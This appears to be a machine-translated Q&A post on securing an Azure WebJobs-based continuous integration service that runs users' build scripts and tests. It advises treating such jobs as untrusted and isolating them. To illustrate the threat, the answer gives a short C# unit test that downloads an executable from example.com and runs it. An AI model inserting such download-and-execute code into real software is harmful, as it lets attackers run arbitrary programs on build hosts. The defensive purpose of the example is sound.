如何保护 azure webjob 代码的执行?

How to secure azure webjob code execution?

我正在构建一个允许用户执行 msbuild 脚本和可执行文件(nunit、nuget、vs-test 等)的产品。这是一个托管的持续集成服务。这些任务 运行 在 azure webjob 的上下文中。我可以做些什么来防止用户 运行ning 恶意代码?

我们不允许用户直接 运行 可执行文件,但他们可以 运行 从单元测试或 msbuild 脚本中得到他们想要的任何东西。我能做些什么来防止他们伤害我的网络工作或 运行宁 "bad" exes?

我不确定您正在寻找这个问题的范围是什么。但我认为通常没有一种特定于 WebJobs 的简单方法可以做到这一点。它必须是您在设计系统时要注意的事情。

We don't allow users to run executables directly

这不是真的。如果你是 运行ning 用户代码,你就不能再假设了。没有什么能阻止我编写这样的单元测试,对吧?

[Test]
public static RunRandomExe()
{
    var webClient = new WebClient();
    webClient.DownloadFile("http://example.com/random.exe", @"%temp%\random.exe");
    Process.Start(@"%temp%\random.exe");
}

如果您在应用程序设置或环境变量中有秘密,也没有什么可以阻止单元测试读取它们并将它们发送到随机 URL。

您能做的最好的事情就是以假定 WebJob 完全不受信任的方式设计您的系统。您必须假设您在 AppSettings、环境变量、文件系统等中放置的任何秘密都可以被 WebJob 访问。随后的 运行s 可以访问 WebJob 留下的任何工件,并且 WebJob 对机器所做的更改将影响后续的 WebJobs,等等。哎呀,单元测试可以在机器上创建另一个 WebJob,它可以运行 并完全 monitor/take 浏览您的网站。

不过,好消息是 Azure Web Apps 保证 独立的 Web 应用程序彼此完全隔离,并且 运行 在非常严格的沙盒环境中,即使它们 运行 在同一个物理虚拟机上(即:在同一个应用程序服务计划中)

所以如果你:

  1. 创建站点
  2. 运行 网络工作
  3. 删除网站

您将确定不会留下任何影响您系统的东西。

这当然不能解决让 WebJob 访问机密的问题。唯一的解决办法是不给 WebJob 任何访问秘密的权限。将整个事情视为不受信任。因此,您可以拥有一个 运行 为您提供工作的站点池,您将作业触发到 运行,只信任作业的原始日志输出,然后从池中删除该站点并创建一个更换网站。 运行在您的主要订阅站点中使用不受信任的代码还有一个主要问题是,您将授予该不受信任的代码访问您从 Azure 门户上传到订阅的任何证书的权限。因此,您必须 运行 将这些不受信任的内容放在完全独立订阅的站点中。

我知道这很麻烦,但我想不出任何其他方式来保证您的系统和用户的安全。如果您要 运行 不受信任的代码,您将处在一个复杂的世界中。

希望对您有所帮助。